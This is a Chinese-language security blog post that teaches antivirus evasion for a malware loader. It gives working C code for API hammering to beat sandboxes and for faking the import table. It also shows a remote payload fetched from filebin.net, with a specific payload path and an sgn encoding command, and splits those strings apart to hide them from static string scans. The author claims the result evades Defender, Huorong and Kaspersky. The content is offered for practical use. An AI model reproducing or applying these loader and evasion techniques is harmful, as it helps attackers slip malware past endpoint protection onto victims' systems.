Part1 前言
大家好,我是余老师。今天分享下免杀制作过程中一些技术,以及代码中的字符串加密。
Part2 技术分析
首先看下我这段main.c入口函数中的部分代码,简单5行代码采用了3种技术:
// 技术规避沙箱检测 修改程序的导入地址表反调试
ApiHammering(2000);
IatCamouflage();
unsigned char* pPayload = NULL;
PSTR url = "filebin.net";
PSTR endpoint = "/wdp212yhlyfy0lix/payload_x64.bin.sgn";
首先是ApiHammering技术,函数在下面,这是规避技术中的一种,目的是制造一些大量无用的看似正常的API操作,这里使用的是读写文件操作。
其次是IatCamouflage技术,IAT是导入表的意思,IatCamouflage(导入表伪装),与此同时还有一种技术是IATObfuscation(导入表混淆)。
逆向工程通常会依赖于导入表来理解程序的功能和行为,这个技术的目的就是欺骗程序的功能和行为。这有助于减轻二进制文件的可疑性,使其不太可能被标记为恶意,比如我们通常把程序拖到DIE中查看导入表函数以大致判断其行为。
再就是分离加载的技术,从远程加载payload,以降低熵值。但这里是明文,正是本文需要介绍的。
-
API冲击技术
(ApiHamme.c)实现了一个名为ApiHammering的函数,首先是创建临时文件并写入随机数据,然后是获取临时文件夹路径,然后是循环创建临时文件并写入随机数据,清理数据,使用时反复操作2000次,运行程序时,磁盘疯狂读写,蓝队看了都流泪。
BOOL ApiHammering(DWORD Stress)
{
WCHAR szPath[MAX_PATH * 2];
WCHAR szTmpPath[MAX_PATH];
HANDLE hRFile = INVALID_HANDLE_VALUE;
HANDLE hWFile = INVALID_HANDLE_VALUE;
DWORD dwNumberOfBytesRead = NULL;
DWORD dwNumberOfBytesWritten = NULL;
PBYTE pRandBuffer = NULL;
SIZE_T sBufferSize = 0xFFFFF;
INT Random = 0;
// Fetch tmp folder
if (!GetTempPathW(MAX_PATH, szTmpPath)) {
goto _Cleanup;
}
// Constructing the full file path
wsprintfW(szPath, L"%s%s", szTmpPath, TMPFILE);
for (SIZE_T i = 0; i < Stress; i++)
{
// Creating the file in write mode
if ((hWFile = CreateFileW(szPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL)) == INVALID_HANDLE_VALUE) {
goto _Cleanup;
}
// Allocating a buffer
pRandBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBufferSize);
srand(time(NULL));
Random = rand() % 0xFF;
memset(pRandBuffer, Random, sBufferSize);
// Writing the random data into the file
if (!WriteFile(hWFile, pRandBuffer, sBufferSize, &dwNumberOfBytesWritten, NULL) || dwNumberOfBytesWritten != sBufferSize) {
printf("[*] Written %d Bytes of %d n", dwNumberOfBytesWritten, sBufferSize);
goto _Cleanup;
}
// Clearing the buffer & closing the handle of the file
RtlZeroMemory(pRandBuffer, sBufferSize);
CloseHandle(hWFile);
// Opening the file in read mode & delete when closed
if ((hRFile = CreateFileW(szPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL)) == INVALID_HANDLE_VALUE) {
goto _Cleanup;
}
// Reading the random data written before
if (!ReadFile(hRFile, pRandBuffer, sBufferSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != sBufferSize) {
printf("[*] Read %d Bytes of %d n", dwNumberOfBytesRead, sBufferSize);
goto _Cleanup;
}
RtlZeroMemory(pRandBuffer, sBufferSize);
HeapFree(GetProcessHeap(), NULL, pRandBuffer);
// Closing the handle of the file which will delete it
CloseHandle(hRFile);
}
return TRUE;
_Cleanup:
return FALSE;
}
-
导入表伪装技术
函数搞了一个不成立的if判断,然后执行了一系列虚假的Windows API的调用,我们把编译后的程序拖到DIE中确认下,确实在里面。杀毒软件看了都懵逼这程序到底要干什么。
VOID IatCamouflage() {
PVOID pAddress = NULL;
int* A = (int*)Helper(&pAddress);
// Impossible if-statement that will never run
if (*A > 350) {
// some random whitelisted WinAPIs
unsigned __int64 i = MessageBoxA(NULL, NULL, NULL, NULL);
i = GetLastError();
i = SetCriticalSectionSpinCount(NULL, NULL);
i = GetWindowContextHelpId(NULL);
i = GetWindowLongPtrW(NULL, NULL);
i = RegisterClassW(NULL);
i = IsWindowVisible(NULL);
i = ConvertDefaultLocale(NULL);
i = MultiByteToWideChar(NULL, NULL, NULL, NULL, NULL, NULL);
i = IsDialogMessageW(NULL, NULL);
}
// Freeing the buffer allocated in 'Helper'
HeapFree(GetProcessHeap(), 0, pAddress);
}
Part3 字符串加密解密
由于我们的payload路径是写死在代码中的,这显然是存在风险的,这会显示在字符串列表中直接看得见,另外payload我通常使用sgn编码个6次,反正白送。
PSTR url = "filebin.net";
PSTR endpoint = "/wdp212yhlyfy0lix/payload_x64.bin.sgn"; //sgn.exe -i payload_x64.bin -o payload_x64.bin.sgn -a 64 -c 6
把程序丢到DIE中,检查字符串,发现存在硬编码问题。
遇到这种问题,我们把它混淆,将字符串分割成多个部分,并在运行时进行拼接。使得字符串不会在可执行文件中以明文形式出现。
// 函数用于动态拼接字符串
char* concatStrings(const char* str1, const char* str2) {
size_t len1 = strlen(str1);
size_t len2 = strlen(str2);
char* result = (char*)malloc(len1 + len2 + 1); // +1 是为了存储字符串结束符 ''
if (result == NULL) {
perror("内存分配失败");
exit(EXIT_FAILURE);
}
strcpy(result, str1);
strcat(result, str2);
return result;
}
// 原始字符串
const char* url_part1 = "file";
const char* url_part2 = "bin.net";
const char* endpoint_part1 = "/wdp";
const char* endpoint_part2 = "212yhlyfy0lix";
const char* endpoint_part3 = "/payload_x64.bin.sgn";
// 混淆后的字符串
char* url = concatStrings(url_part1, url_part2);
char* endpoint = concatStrings(concatStrings(endpoint_part1, endpoint_part2), endpoint_part3);
然后编译程序再检查下字符串,确实拆开了,不显示filebin托管站点了。
那我们拆更细一些,使这个DIE什么都不认识。
// 原始字符串
const char* url_part1 = "fi";
const char* url_part2 = "le";
const char* url_part3 = "bin";
const char* url_part4 = ".net";
const char* endpoint_part1 = "/wd";
const char* endpoint_part2 = "p2";
const char* endpoint_part3 = "12";
const char* endpoint_part4 = "yh";
const char* endpoint_part5 = "ly";
const char* endpoint_part6 = "fy0lix";
const char* endpoint_part7 = "/pay";
const char* endpoint_part8 = "load";
const char* endpoint_part9 = "_x64";
const char* endpoint_part10 = ".bin";
const char* endpoint_part11 = ".sgn";
// 混淆后的字符串,更细致地拆分和拼接
char* url = concatStrings(concatStrings(url_part1, url_part2), concatStrings(url_part3, url_part4));
char* endpoint = concatStrings(concatStrings(concatStrings(concatStrings(endpoint_part1, endpoint_part2), endpoint_part3),
concatStrings(concatStrings(endpoint_part4, endpoint_part5), endpoint_part6)),
concatStrings(concatStrings(concatStrings(endpoint_part7, endpoint_part8), endpoint_part9),
concatStrings(endpoint_part10, endpoint_part11)));
此时丢进DIE,什么字符串都搜不到了。
Part3 免杀效果
先把反虚拟机段代码注释下, 切到不同的windows10虚拟机快照上,惊奇的发现我们免杀了Defender, 火绒,卡巴斯基,至于360,那就随它去吧!
// 反沙箱技术检测
// if (checkVirtualization() || checkDebugger() || checkLowActivity() || checkHardwareConfiguration() || checkSandboxByFileName()) {
// exit(0);
// }
原文始发于微信公众号(白帽子安全笔记):免杀卡巴斯及字符串加密
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论